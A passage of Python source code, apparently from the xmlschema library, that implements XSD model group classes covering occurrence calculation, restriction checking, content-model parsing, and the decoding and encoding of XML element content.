ModelVisitor, InterleavedModelVisitor, SuffixedModelVisitor, \ iter_unordered_content, iter_collapsed_content if TYPE_CHECKING: from .complex_types import XsdComplexType get_occurs = attrgetter('min_occurs', 'max_occurs') ANY_ELEMENT = ElementTree.Element( XSD_ANY, attrib={ 'namespace': '##any', 'processContents': 'lax', 'minOccurs': '0', 'maxOccurs': 'unbounded' }) GroupDecodeType = Optional[list[tuple[Union[str, int], Any, Optional[SchemaElementType]]]] GroupEncodeType = tuple[Optional[str], Optional[list[ElementType]]] class XsdGroup(XsdComponent, MutableSequence[ModelParticleType], ParticleMixin, ValidationMixin[ElementType, GroupDecodeType]): """ Class for XSD 1.0 *model group* definitions. .. <group id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 name = NCName ref = QName {any attributes with non-schema namespace . . .}> Content: (annotation?, (all | choice | sequence)?) </group> .. <all id = ID maxOccurs = 1 : 1 minOccurs = (0 | 1) : 1 {any attributes with non-schema namespace . . .}> Content: (annotation?, element*) </all> .. <choice id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 {any attributes with non-schema namespace . . .}> Content: (annotation?, (element | group | choice | sequence | any)*) </choice> .. <sequence id = ID maxOccurs = (nonNegativeInteger | unbounded) : 1 minOccurs = nonNegativeInteger : 1 {any attributes with non-schema namespace . . .}> Content: (annotation?, (element | group | choice | sequence | any)*) </sequence> """ parent: Optional[Union['XsdComplexType', 'XsdGroup']] model: str mixed: bool = False ref: Optional['XsdGroup'] content: list[ModelParticleType] # The effective content model for validate restriction: Optional['XsdGroup'] = None redefine: Optional['XsdGroup'] # For XSD 1.1 openContent processing open_content: Optional[XsdOpenContent] = None _ADMITTED_TAGS = (XSD_GROUP, XSD_SEQUENCE, XSD_ALL, XSD_CHOICE) __slots__ = ('_group', 'content', 'oid', 'model', 'min_occurs', 'max_occurs') def __init__(self, elem: ElementType, schema: SchemaType, parent: Optional[Union['XsdComplexType', 'XsdGroup']] = None) -> None: self._group: list[ModelParticleType] = [] self.content = self._group self.oid = (self,) self.min_occurs = self.max_occurs = 1 super().__init__(elem, schema, parent) def __repr__(self) -> str: model = getattr(self, 'model', None) if self.name is None: return '%s(model=%r, occurs=%r)' % ( self.__class__.__name__, model, list(self.occurs) ) elif self.ref is None: return '%s(name=%r, model=%r, occurs=%r)' % ( self.__class__.__name__, self.prefixed_name, model, list(self.occurs) ) else: return '%s(ref=%r, model=%r, occurs=%r)' % ( self.__class__.__name__, self.prefixed_name, model, list(self.occurs) ) @overload def __getitem__(self, i: int) -> ModelParticleType: ... @overload def __getitem__(self, s: slice) -> MutableSequence[ModelParticleType]: ... def __getitem__(self, i: Union[int, slice]) \ -> Union[ModelParticleType, MutableSequence[ModelParticleType]]: return self._group[i] def __setitem__(self, i: Union[int, slice], o: Any) -> None: self._group[i] = o def __delitem__(self, i: Union[int, slice]) -> None: del self._group[i] def __len__(self) -> int: return len(self._group) def insert(self, i: int, item: ModelParticleType) -> None: self._group.insert(i, item) def is_emptiable(self) -> bool: if self.model == 'choice': return self.min_occurs == 0 or not self or any(item.is_emptiable() for item in self) else: return self.min_occurs == 0 or not self or all(item.is_emptiable() for item in self) def is_single(self) -> bool: if self.max_occurs != 1 or not self: return False elif len(self) > 1 or not isinstance(self[0], XsdGroup): return True else: return self[0].is_single() def is_pointless(self, parent: 'XsdGroup') -> bool: """ Returns `True` if the group may be eliminated without affecting the model, `False` otherwise. A group is pointless if one of those conditions is verified: - the group is empty - minOccurs == maxOccurs == 1 and the group has one child - minOccurs == maxOccurs == 1 and the group and its parent have a sequence model - minOccurs == maxOccurs == 1 and the group and its parent have a choice model Ref: https://www.w3.org/TR/2004/REC-xmlschema-1-20041028/#coss-particle :param parent: effective parent of the model group. """ if not self: return True elif self.min_occurs != 1 or self.max_occurs != 1: return False elif len(self) == 1: return True elif self.model == 'sequence' and parent.model != 'sequence': return False elif self.model == 'choice' and parent.model != 'choice': return False else: return True @property def open_content_mode(self) -> str: return 'none' if self.open_content is None else self.open_content.mode @property def effective_min_occurs(self) -> int: if not self.min_occurs or not self: return 0 effective_items: list[Any] min_occurs: int effective_items = [e for e in self.iter_model() if e.effective_max_occurs != 0] if not effective_items: return 0 elif self.model == 'choice': min_occurs = min(e.effective_min_occurs for e in effective_items) return self.min_occurs * min_occurs elif self.model == 'all': min_occurs = max(e.effective_min_occurs for e in effective_items) return min_occurs not_emptiable_items = [e for e in effective_items if e.effective_min_occurs] if not not_emptiable_items: return 0 elif len(not_emptiable_items) > 1: return self.min_occurs min_occurs = not_emptiable_items[0].effective_min_occurs return self.min_occurs * min_occurs @property def effective_max_occurs(self) -> Optional[int]: if self.max_occurs == 0 or not self: return 0 effective_items: list[Any] max_occurs: int model_items = [(e, e.effective_max_occurs) for e in self.iter_model()] effective_items = [x for x in model_items if x[1] != 0] if not effective_items: return 0 elif self.max_occurs is None: return None elif self.model == 'choice': if any(x[1] is None for x in effective_items): return None else: max_occurs = max(x[1] for x in effective_items) return self.max_occurs * max_occurs not_emptiable_items = [x for x in effective_items if x[0].effective_min_occurs] if not not_emptiable_items: if any(x[1] is None for x in effective_items): return None else: max_occurs = max(x[1] for x in effective_items) return self.max_occurs * max_occurs elif len(not_emptiable_items) > 1: if self.model == 'sequence': return self.max_occurs elif all(x[1] is None for x in not_emptiable_items): return None else: max_occurs = min(x[1] for x in not_emptiable_items if x[1] is not None) return max_occurs elif not_emptiable_items[0][1] is None: return None else: return self.max_occurs * cast(int, not_emptiable_items[0][1]) def has_occurs_restriction( self, other: Union[ModelParticleType, ParticleMixin, 'OccursCalculator']) -> bool: if not self: return True elif isinstance(other, XsdGroup): return super().has_occurs_restriction(other) # Group particle compared to element particle if self.max_occurs is None or any(e.max_occurs is None for e in self): if other.max_occurs is not None: return False elif self.model == 'choice': return self.min_occurs * min(e.min_occurs for e in self) >= other.min_occurs else: return self.min_occurs * sum(e.min_occurs for e in self) >= other.min_occurs elif self.model == 'choice': if self.min_occurs * min(e.min_occurs for e in self) < other.min_occurs: return False elif other.max_occurs is None: return True else: value: int try: value = max(e.max_occurs for e in self) # type: ignore[type-var, assignment] except TypeError: return False else: return self.max_occurs * value <= other.max_occurs else: if self.min_occurs * sum(e.min_occurs for e in self) < other.min_occurs: return False elif other.max_occurs is None: return True else: try: value = sum(e.max_occurs for e in self) # type: ignore[misc] except TypeError: return False else: return self.max_occurs * value <= other.max_occurs def iter_model(self) -> Iterator[ModelParticleType]: """ A generator function iterating elements and groups of a model group. Skips pointless groups, iterating deeper through them. Raises `XMLSchemaModelDepthError` if the *depth* of the model is over `limits.MAX_MODEL_DEPTH` value. """ iterators: list[Iterator[ModelParticleType]] = [] particles = iter(self) while True: for item in particles: if isinstance(item, XsdGroup) and item.is_pointless(parent=self): iterators.append(particles) particles = iter(item) if len(iterators) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(self) break else: yield item else: try: particles = iterators.pop() except IndexError: return def iter_elements(self) -> Iterator[SchemaElementType]: """ A generator function iterating model's elements. Raises `XMLSchemaModelDepthError` if the overall depth of the model groups is over `limits.MAX_MODEL_DEPTH`. """ if self.max_occurs == 0: return iterators: list[Iterator[ModelParticleType]] = [] particles = iter(self) while True: for item in particles: if isinstance(item, XsdGroup): if item.max_occurs == 0: continue iterators.append(particles) particles = iter(item.content) if len(iterators) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(self) break else: yield item else: try: particles = iterators.pop() except IndexError: return def get_subgroups(self, particle: ModelParticleType) -> list['XsdGroup']: """ Returns a list of the groups that represent the first path to the enclosed particle. Raises an `XMLSchemaModelError` if the argument is not a particle of the model group. """ for subgroups in self.iter_subgroups(particle): return subgroups else: return [] def iter_subgroups(self, particle: ModelParticleType) -> Iterator[list['XsdGroup']]: """ Iterates all subgroups where the provided particle is present. Raises an `XMLSchemaModelError` if the argument is not a particle of the model group. """ subgroups: list[tuple[XsdGroup, Iterator[ModelParticleType]]] = [] group, children = self, iter(self if self.ref is None else self.ref) found = False while True: for child in children: if child is particle: found = True _subgroups = [x[0] for x in subgroups] _subgroups.append(group) yield _subgroups elif isinstance(child, XsdGroup): if len(subgroups) > limits.MAX_MODEL_DEPTH: raise XMLSchemaModelDepthError(self) subgroups.append((group, children)) group, children = child, iter(child if child.ref is None else child.ref) break else: try: group, children = subgroups.pop() except IndexError: if not found: msg = _('{!r} is not a particle of the model group') raise XMLSchemaModelError(self, msg.format(particle)) from None return def get_model_visitor(self) -> ModelVisitor: if self.open_content is None or self.open_content.mode == 'none': return ModelVisitor(self) elif self.open_content.mode == 'interleave': return InterleavedModelVisitor(self, self.open_content.any_element) else: return SuffixedModelVisitor(self, self.open_content.any_element) def overall_min_occurs(self, particle: ModelParticleType) -> int: """ Returns the overall min occurs of a particle in the model group. """ model = self.get_model_visitor() return model.overall_min_occurs(particle) def overall_max_occurs(self, particle: ModelParticleType) -> Optional[int]: """ Returns the overall max occurs of a particle in the model group. """ model = self.get_model_visitor() return model.overall_max_occurs(particle) def is_optional(self, particle: ModelParticleType) -> bool: """ Returns `True` if the provided particle can be optional in the model group. """ return self.overall_min_occurs(particle) == 0 def is_missing(self, occurs: OccursCounterType) -> bool: value = occurs[self.oid] or occurs[self] return not self.is_emptiable() if value == 0 else self.min_occurs > value def get_expected(self, occurs: OccursCounterType) -> list[SchemaElementType]: """ Returns the expected elements of the current and descendant groups given a counter of occurrences. Returns an empty list if the group reached the maximum number of occurrences. """ expected: list[SchemaElementType] = [] if self.is_over(occurs): return expected for e in self.iter_elements(): if e not in expected and isinstance(e, XsdElement) and e.min_occurs > occurs[e]: expected.append(e) expected.extend(s for s in e.iter_substitutes()) return expected def __copy__(self) -> 'XsdGroup': group: XsdGroup = object.__new__(self.__class__) group.__dict__.update(self.__dict__) for attr in self._mro_slots(): object.__setattr__(group, attr, getattr(self, attr)) group.errors = self.errors.copy() group._group = self._group.copy() if self.ref is None: group.content = group._group return group def _any_content_group_fallback(self) -> None: self.model = 'sequence' self.mixed = True self._group.clear() self._group.append(self.builders.any_element_class(ANY_ELEMENT, self.schema, self)) def _parse(self) -> None: self._group.clear() self._parse_particle(self.elem) if self.parent is not None and self.parent.mixed: self.mixed = self.parent.mixed if self.elem.tag != XSD_GROUP: # Local group (sequence|all|choice) if 'name' in self.elem.attrib: msg = _("attribute 'name' not allowed in a local group") self.parse_error(msg) self._parse_content_model(self.elem) elif self._parse_reference(): assert self.name is not None try: xsd_group = self.maps.groups[self.name] except KeyError: self.parse_error(_("missing group %r") % self.prefixed_name) self._any_content_group_fallback() except XMLSchemaCircularityError as err: # Circular definition, substituted with any content group. self.parse_error(err, err.elem) self._any_content_group_fallback() else: self.model = xsd_group.model if self.model == 'all': if self.max_occurs != 1: msg = _("maxOccurs must be 1 for 'all' model groups") self.parse_error(msg) if self.min_occurs not in (0, 1): msg = _("minOccurs must be (0 | 1) for 'all' model groups") self.parse_error(msg) if self.xsd_version == '1.0' and isinstance(self.parent, XsdGroup): msg = _("in XSD 1.0 an 'all' model group cannot be nested") self.parse_error(msg) self._group.append(xsd_group) self.ref = xsd_group self.target_namespace = xsd_group.target_namespace self.content = xsd_group.content else: attrib = self.elem.attrib try: self.name = get_qname(self.target_namespace, attrib['name']) except KeyError: pass else: if self.parent is not None: msg = _("attribute 'name' not allowed in a local group") self.parse_error(msg) else: if 'minOccurs' in attrib: msg = _("attribute 'minOccurs' not allowed in a global group") self.parse_error(msg) if 'maxOccurs' in attrib: msg = _("attribute 'maxOccurs' not allowed in a global group") self.parse_error(msg) content_model = self._parse_child_component(self.elem, strict=True) if content_model is not None: if self.parent is None: if 'minOccurs' in content_model.attrib: msg = _("attribute 'minOccurs' not allowed in a global group") self.parse_error(msg, content_model) if 'maxOccurs' in content_model.attrib: msg = _("attribute 'maxOccurs' not allowed in a global group") self.parse_error(msg, content_model) if content_model.tag in (XSD_SEQUENCE, XSD_ALL, XSD_CHOICE): self._parse_content_model(content_model) else: msg = _('unexpected tag %r') self.parse_error(msg % content_model.tag, content_model) self._any_content_group_fallback() def _parse_content_model(self, content_model: ElementType) -> None: self.model = local_name(content_model.tag) if self.model == 'all': if self.max_occurs != 1: msg = _("maxOccurs must be 1 for 'all' model groups") self.parse_error(msg) if self.min_occurs not in (0, 1): msg = _("minOccurs must be (0 | 1) for 'all' model groups") self.parse_error(msg) child: ElementType for child in content_model: if child.tag == XSD_ANNOTATION or callable(child.tag): continue elif child.tag == XSD_ELEMENT: self.append(self.builders.element_class(child, self.schema, self)) elif content_model.tag == XSD_ALL: self.parse_error(_("'all' model can contain only elements")) elif child.tag == XSD_ANY: self._group.append(self.builders.any_element_class(child, self.schema, self)) elif child.tag in (XSD_SEQUENCE, XSD_CHOICE): self._group.append(XsdGroup(child, self.schema, self)) elif child.tag == XSD_GROUP: try: ref = self.schema.resolve_qname(child.attrib['ref']) except (KeyError, ValueError, RuntimeError) as err: if 'ref' not in child.attrib: msg = _("missing attribute 'ref' in local group") self.parse_error(msg, child) else: self.parse_error(err, child) continue if ref != self.name: xsd_group = XsdGroup(child, self.schema, self) if xsd_group.model == 'all': msg = _("'all' model can appears only at 1st level of a model group") self.parse_error(msg) else: self._group.append(xsd_group) elif self.redefine is not None: self._group.append(self.redefine) if child.get('minOccurs', '1') != '1' \ or child.get('maxOccurs', '1') != '1': msg = _("Redefined group reference can't have " "minOccurs/maxOccurs other than 1") self.parse_error(msg) else: msg = _("Circular definition detected for group %r") self.parse_error(msg % self.name) def build(self) -> None: if self._built: return self._built = True for item in self._group: if isinstance(item, XsdElement): item.build() if self.redefine is not None: for group in self.redefine.iter_components(XsdGroup): group.build() @property def schema_elem(self) -> ElementType: return self.parent.elem if self.parent is not None else self.elem def iter_components(self, xsd_classes: Optional[ComponentClassType] = None) \ -> Iterator[XsdComponent]: if xsd_classes is None or isinstance(self, xsd_classes): yield self for item in self: if item.parent is None: continue elif item.parent is not self.parent and isinstance(item.parent, XsdType) \ and item.parent.parent is None: continue yield from item.iter_components(xsd_classes) if self.redefine is not None and self.redefine not in self: yield from self.redefine.iter_components(xsd_classes) def admits_restriction(self, model: str) -> bool: if self.model == model: return True elif self.model == 'all': return model == 'sequence' elif self.model == 'choice': return model == 'sequence' or len(self.ref or self) <= 1 else: return model == 'choice' or len(self.ref or self) <= 1 def is_empty(self) -> bool: return not self.mixed and (not self._group or self.max_occurs == 0) def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> bool: if not self._group: return True elif not isinstance(other, ParticleMixin): raise XMLSchemaValueError("the argument 'other' must be an XSD particle") elif not isinstance(other, XsdGroup): return self.is_element_restriction(other) elif not other: return False elif len(other) == other.min_occurs == other.max_occurs == 1: if len(self) > 1: return self.is_restriction(other[0], check_occurs) elif self.ref is None and isinstance(self[0], XsdGroup) \ and self[0].is_pointless(parent=self): return self[0].is_restriction(other[0], check_occurs) # Compare model with model if self.model != other.model and self.model != 'sequence' and \ (len(self) > 1 or self.ref is not None and len(self[0]) > 1): return False elif self.model == other.model or other.model == 'sequence': return self.is_sequence_restriction(other) elif other.model == 'all': return self.is_all_restriction(other) else: # other.model == 'choice': return self.is_choice_restriction(other) def is_element_restriction(self, other: ModelParticleType) -> bool: if self.xsd_version == '1.0' and isinstance(other, XsdElement) and \ not other.ref and other.name not in self.maps.substitution_groups: return False elif not self.has_occurs_restriction(other): return False elif self.model == 'choice': if all(e.is_substitute(other) for e in self): return True return any(e.is_restriction(other, False) for e in self) else: min_occurs = 0 max_occurs: Optional[int] = 0 for item in self.iter_model(): if isinstance(item, XsdGroup): return False elif item.min_occurs == 0 or item.is_restriction(other, False): min_occurs += item.min_occurs if max_occurs is not None: if item.max_occurs is None: max_occurs = None else: max_occurs += item.max_occurs continue return False if min_occurs < other.min_occurs: return False elif max_occurs is None: return other.max_occurs is None elif other.max_occurs is None: return True else: return max_occurs <= other.max_occurs def is_sequence_restriction(self, other: 'XsdGroup') -> bool: if not self.has_occurs_restriction(other): return False check_occurs = other.max_occurs != 0 # Same model: declarations must simply preserve order other_iterator = iter(other.iter_model()) for item in self.iter_model(): for other_item in other_iterator: if other_item is item or item.is_restriction(other_item, check_occurs): break elif other.model == 'choice': if item.max_occurs != 0: continue elif not other_item.is_matching(item.name): continue elif all(e.max_occurs == 0 for e in self.iter_model()): return False else: break elif not other_item.is_emptiable(): return False else: return False if other.model != 'choice': for other_item in other_iterator: if not other_item.is_emptiable(): return False return True def is_all_restriction(self, other: 'XsdGroup') -> bool: if not self.has_occurs_restriction(other): return False check_occurs = other.max_occurs != 0 if self.ref is None: restriction_items = [x for x in self] else: restriction_items = [x for x in self[0]] for other_item in other.iter_model(): for item in restriction_items: if other_item is item or item.is_restriction(other_item, check_occurs): break else: if not other_item.is_emptiable(): return False continue restriction_items.remove(item) return not bool(restriction_items) def is_choice_restriction(self, other: 'XsdGroup') -> bool: if self.ref is None: if self.parent is None and other.parent is not None: return False # not allowed restriction in XSD 1.0 restriction_items = [x for x in self] elif other.parent is None: restriction_items = [x for x in self[0]] else: return False # not allowed restriction in XSD 1.0 check_occurs = other.max_occurs != 0 max_occurs: Optional[int] = 0 other_max_occurs: Optional[int] = 0 for other_item in other.iter_model(): for item in restriction_items: if other_item is item or item.is_restriction(other_item, check_occurs): if max_occurs is not None: if item.max_occurs is None: max_occurs = None else: max_occurs += item.max_occurs if other_max_occurs is not None: if other_item.max_occurs is None: other_max_occurs = None else: other_max_occurs = max(other_max_occurs, other_item.max_occurs) break else: continue restriction_items.remove(item) if restriction_items: return False elif other_max_occurs is None: if other.max_occurs != 0: return True other_max_occurs = 0 elif other.max_occurs is None: if other_max_occurs != 0: return True other_max_occurs = 0 else: other_max_occurs *= other.max_occurs if max_occurs is None: return self.max_occurs == 0 elif self.max_occurs is None: return max_occurs == 0 else: return other_max_occurs >= max_occurs * self.max_occurs def check_dynamic_context(self, elem: ElementType, xsd_element: SchemaElementType, model_element: SchemaElementType, namespaces: NsmapType) -> None: if model_element is not xsd_element and isinstance(model_element, XsdElement): if 'substitution' in model_element.block \ or xsd_element.type and xsd_element.type.is_blocked(model_element): reason = _("substitution of %r is blocked") % model_element raise XMLSchemaValidationError(model_element, elem, reason) alternatives: Union[tuple[()], list[XsdAlternative]] = [] if isinstance(xsd_element, XsdAnyElement): if xsd_element.process_contents == 'skip': return try: xsd_element = self.maps.elements[elem.tag] except KeyError: if self.schema.meta_schema is None: # Meta-schema groups ignore xsi:type (issue #350) return try: type_name = elem.attrib[XSI_TYPE].strip() except KeyError: return else: xsd_type = self.maps.get_instance_type( type_name, self.any_type, namespaces ) else: alternatives = xsd_element.alternatives try: type_name = elem.attrib[XSI_TYPE].strip() except KeyError: xsd_type = xsd_element.type else: xsd_type = self.maps.get_instance_type( type_name, xsd_element.type, namespaces ) else: if XSI_TYPE not in elem.attrib or self.schema.meta_schema is None: xsd_type = xsd_element.type else: alternatives = xsd_element.alternatives try: type_name = elem.attrib[XSI_TYPE].strip() except KeyError: xsd_type = xsd_element.type else: xsd_type = self.maps.get_instance_type( type_name, xsd_element.type, namespaces ) if model_element is not xsd_element and \ isinstance(model_element, XsdElement) and model_element.block: for derivation in model_element.block.split(): if xsd_type is not model_element.type and \ xsd_type.is_derived(model_element.type, derivation): reason = _("usage of {0!r} with type {1} is blocked by " "head element").format(xsd_element, derivation) raise XMLSchemaValidationError(self, elem, reason) if XSI_TYPE not in elem.attrib or self.schema.meta_schema is None: return # If it's a restriction the context is the base_type's group group = self.restriction if self.restriction is not None else self # Dynamic EDC check of matched element for e in group.iter_elements(): if not isinstance(e, XsdElement): continue elif e.name == elem.tag: other = e else: for other in e.iter_substitutes(): if other.name == elem.tag: break else: continue if len(other.alternatives) != len(alternatives) or \ not xsd_type.is_dynamic_consistent(other.type): reason = _("{0!r} that matches {1!r} is not consistent with local " "declaration {2!r}").format(elem, xsd_element, other) raise XMLSchemaValidationError(self, reason) if not all(any(a == x for x in alternatives) for a in other.alternatives) or \ not all(any(a == x for x in other.alternatives) for a in alternatives): msg = _("Maybe a not equivalent type table between elements " "{0!r} and {1!r}.").format(self, xsd_element) warnings.warn(msg, XMLSchemaTypeTableWarning, stacklevel=3) def match_element(self, name: str) -> Optional[SchemaElementType]: """ Try a model-less match of a child element. Returns the matched element, or `None` if there is no match. """ for xsd_element in self.iter_elements(): if xsd_element.is_matching(name, group=self): return xsd_element return None def raw_decode(self, obj: ElementType, validation: str, context: DecodeContext) \ -> GroupDecodeType: """ Decoding an Element content. :param obj: an Element. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip. :param context: the encoding context. :return: a list of 3-tuples (key, decoded data, decoder). """ result: GroupDecodeType = None if context.validation_only else [] cdata_index = 1 # keys for CDATA sections are positive integers index = 0 if not self._group and self.model == 'choice' and self.min_occurs: reason = _("an empty 'choice' group with minOccurs > 0 cannot validate any content") context.validation_error(validation, self, reason, obj) return result if not self.mixed: # Check element CDATA if obj.text and obj.text.strip() or \ any(child.tail and child.tail.strip() for child in obj): if len(self) == 1 and isinstance(self[0], XsdAnyElement): pass # [XsdAnyElement()] equals to an empty complexType declaration else: reason = _("character data between child elements not allowed") context.validation_error(validation, self, reason, obj) cdata_index = 0 # Do not decode CDATA if cdata_index and obj.text is not None: text = str(obj.text.strip()) if text: if result is not None: result.append((cdata_index, text, None)) cdata_index += 1 over_max_depth = context.max_depth is not None and context.max_depth <= context.level if context.level > limits.MAX_XML_DEPTH: reason = _("XML data depth exceeded (MAX_XML_DEPTH=%r)") % limits.MAX_XML_DEPTH context.validation_error('strict', self, reason, obj) errors: list[tuple[int, ModelParticleType, int, Optional[list[SchemaElementType]]]] xsd_element: Optional[SchemaElementType] expected: Optional[list[SchemaElementType]] errors = [] broken_model = False converter = context.converter namespaces = converter.namespaces model = self.get_model_visitor() for index, child in enumerate(obj): if callable(child.tag): continue # child is a comment or PI converter.set_context(child, context.level) name = converter.map_qname(child.tag) while model.element is not None: xsd_element = model.match_element(child.tag) if xsd_element is None: for particle, occurs, expected in model.advance(False): errors.append((index, particle, occurs, expected)) model.clear() broken_model = True # the model is broken, continues with raw decoding. xsd_element = self.match_element(child.tag) break else: continue break try: self.check_dynamic_context(child, xsd_element, model.element, namespaces) except (XMLSchemaValidationError, TypeError) as err: context.validation_error(validation, self, err, obj) for particle, occurs, expected in model.advance(True): errors.append((index, particle, occurs, expected)) break else: xsd_element = self.match_element(child.tag) if xsd_element is None: errors.append((index, self, 0, None)) broken_model = True elif not broken_model: errors.append((index, xsd_element, 0, [])) broken_model = True # Optional checks on matched XSD child if xsd_element is None: if context.keep_unknown: result_item = self.any_type.raw_decode(child, validation, context) if result is not None: result.append((name, result_item, None)) continue if over_max_depth: if context.depth_filler is not None and isinstance(xsd_element, XsdElement): func = context.depth_filler if result is not None: result.append((name, func(xsd_element), xsd_element)) continue result_item = xsd_element.raw_decode(child, validation, context) if result_item is Empty: continue elif result is not None: result.append((name, result_item, xsd_element)) if cdata_index and child.tail is not None: tail = str(child.tail.strip()) if tail: if result and isinstance(result[-1][0], int): tail = result[-1][1] + ' ' + tail result[-1] = result[-1][0], tail, None else: result.append((cdata_index, tail, None)) cdata_index += 1 if model.element is not None: index = len(obj) for particle, occurs, expected in model.stop(): errors.append((index, particle, occurs, expected)) break if errors: for index, particle, occurs, expected in errors: context.children_validation_error( validation, self, obj, index, particle, occurs, expected ) if index or result is not None or obj.text is None: return result else: return [(1, str(obj.text.strip()), None)] def raw_encode(self, obj: ElementData, validation: str, context: EncodeContext) \ -> GroupEncodeType: """ Encode data to a list containing Element children. :param obj: an ElementData instance. :param validation: the validation mode. Can be 'lax', 'strict' or 'skip'. :param context: the encoding context. :return: returns a couple with the text of the Element and a list of child \ elements. """ children: Optional[list[ElementType]] errors = [] text = raw_encode_value(obj.text) children = None if context.validation_only else [] converter = context.converter padding = context.padding default_namespace = converter.get('') elem = context.elem if elem is None: elem = context.create_element(obj.tag) index = cdata_index = 0 wrong_content_type = False over_max_depth = context.max_depth is not None and context.max_depth <= context.level model = self.get_model_visitor() content: Iterable[Any] if not obj.content: content = [] elif isinstance(obj.content, MutableMapping) or context.unordered: content = iter_unordered_content(obj.content, self) elif not isinstance(obj.content, MutableSequence): wrong_content_type = True content = [] elif not isinstance(obj.content[0], tuple): if len(obj.content) > 1 or text is not None: wrong_content_type = True else: text = raw_encode_value(obj.content[0]) content = [] elif converter.losslessly: content = obj.content else: content = iter_collapsed_content(obj.content, self) for index, (name, value) in enumerate(content): if isinstance(name, int): if not children: text = padding + value if text is None else text + value + padding elif children[-1].tail is None: children[-1].tail = padding + value else: children[-1].tail += value + padding cdata_index += 1 continue xsd_element: Optional[SchemaElementType] while model.element is not None: xsd_element = model.match_element(name) if xsd_element is None: for particle, occurs, expected in model.advance(): errors.append((index - cdata_index, particle, occurs, expected)) continue elif isinstance(xsd_element, XsdAnyElement): value = get_qname(default_namespace, name), value for particle, occurs, expected in model.advance(True): errors.append((index - cdata_index, particle, occurs, expected)) break else: errors.append((index - cdata_index, self, 0, [])) xsd_element = self.match_element(name) if isinstance(xsd_element, XsdAnyElement): value = get_qname(default_namespace, name), value elif xsd_element is None: if name.startswith('{') or ':' not in name: reason = _('{!r} does not match any declared element ' 'of the model group').format(name) else: reason = _('{0} has an unknown prefix {1!r}').format( name, name.split(':')[0] ) context.validation_error(validation, self, reason, value) continue if xsd_element.skip and not context.process_skipped: continue if over_max_depth: continue child = xsd_element.raw_encode(value, validation, context) if children is not None and child is not None: children.append(child) if model.element is not None: for particle, occurs, expected in model.stop(): errors.append((index - cdata_index + 1, particle, occurs, expected)) break if children: if children[-1].tail is None: children[-1].tail = padding[:-converter.indent] or '\n' else: children[-1].tail = children[-1].tail.strip() + ( padding[:-converter.indent] or '\n' ) if children: elem.text = text or context.padding elem.extend(children) else: elem.text = text if wrong_content_type: reason = _("wrong content type {!r}").format(type(obj.content)) context.validation_error(validation, self, reason, elem) if not self.mixed and text and text.strip() and self and \ (len(self) > 1 or not isinstance(self[0], XsdAnyElement)): reason = _("character data between child elements not allowed") context.validation_error(validation, self, reason, elem) for index, particle, occurs, expected in errors: context.children_validation_error( validation, self, elem, index, particle, occurs, expected ) return text, children class Xsd11Group(XsdGroup): """ Class for XSD 1.1 *model group* definitions. .. The XSD 1.1 model groups differ from XSD 1.0 groups for the 'all' model, that can contains also other groups. .. <all id = ID maxOccurs = (0 | 1) : 1 minOccurs = (0 | 1) : 1 {any attributes with non-schema namespace . . .}> Content: (annotation?, (element | any | group)*) </all> """ def _parse_content_model(self, content_model: ElementType) -> None: self.model = local_name(content_model.tag) if self.model == 'all': if self.max_occurs not in (0, 1): msg = _("maxOccurs must be (0 | 1) for 'all' model groups") self.parse_error(msg) if self.min_occurs not in (0, 1): msg = _("minOccurs must be (0 | 1) for 'all' model groups") self.parse_error(msg) for child in content_model: if child.tag == XSD_ELEMENT: self.append(self.builders.element_class(child, self.schema, self)) elif child.tag == XSD_ANY: self._group.append(self.builders.any_element_class(child, self.schema, self)) elif child.tag in (XSD_SEQUENCE, XSD_CHOICE, XSD_ALL): self._group.append(Xsd11Group(child, self.schema, self)) elif child.tag == XSD_GROUP: try: ref = self.schema.resolve_qname(child.attrib['ref']) except (KeyError, ValueError, RuntimeError) as err: if 'ref' not in child.attrib: msg = _("missing attribute 'ref' in local group") self.parse_error(msg, child) else: self.parse_error(err, child) continue if ref != self.name: xsd_group = Xsd11Group(child, self.schema, self) self._group.append(xsd_group) if (self.model != 'all') ^ (xsd_group.model != 'all'): msg = _("an xs:{0} group cannot include a reference to an " "xs:{1} group").format(self.model, xsd_group.model) self.parse_error(msg) self.pop() elif self.redefine is not None: if child.get('minOccurs', '1') != '1' or child.get('maxOccurs', '1') != '1': msg = _("Redefined group reference cannot have " "minOccurs/maxOccurs other than 1") self.parse_error(msg) self._group.append(self.redefine) else: msg = _("Circular definition detected for group %r") self.parse_error(msg % self.name) def admits_restriction(self, model: str) -> bool: if self.model == model or self.model == 'all': return True elif self.model == 'choice': return model == 'sequence' or len(self.ref or self) <= 1 else: return model == 'choice' or len(self.ref or self) <= 1 def is_restriction(self, other: ModelParticleType, check_occurs: bool = True) -> bool: if not self._group: return True elif not isinstance(other, ParticleMixin): raise XMLSchemaValueError("the argument 'base' must be a %r instance" % ParticleMixin) elif not isinstance(other, XsdGroup): return self.is_element_restriction(other) elif not other: return False elif len(other) == other.min_occurs == other.max_occurs == 1: if len(self) > 1: return self.is_restriction(other[0], check_occurs) elif self.ref is None and isinstance(self[0], XsdGroup) \ and self[0].is_pointless(parent=self): return self[0].is_restriction(other[0], check_occurs) if other.model == 'sequence': return self.is_sequence_restriction(other) elif other.model == 'all': return self.is_all_restriction(other) else: # other.model == 'choice': return self.is_choice_restriction(other) def has_occurs_restriction( self, other: Union[ModelParticleType, ParticleMixin, 'OccursCalculator']) -> bool: if not isinstance(other, XsdGroup): return super().has_occurs_restriction(other) elif not self: return True elif self.effective_min_occurs < other.effective_min_occurs: return False effective_max_occurs = self.effective_max_occurs if effective_max_occurs == 0: return True elif effective_max_occurs is None: return other.effective_max_occurs is None try: return effective_max_occurs <= other.effective_max_occurs # type: ignore[operator] except TypeError: return True def is_sequence_restriction(self, other: XsdGroup) -> bool: if not self.has_occurs_restriction(other): return False check_occurs = other.max_occurs != 0 item_iterator = iter(self.iter_model()) item = next(item_iterator, None) for other_item in other.iter_model(): if item is not None and item.is_restriction(other_item, check_occurs): item = next(item_iterator, None) elif not other_item.is_emptiable(): break else: if item is None: return True # Restriction check failed: try another check without removing pointless groups item_iterator = iter(self) item = next(item_iterator, None) for other_item in other.iter_model(): if item is not None and item.is_restriction(other_item, check_occurs): item = next(item_iterator, None) elif not other_item.is_emptiable(): break else: if item is None: return True # 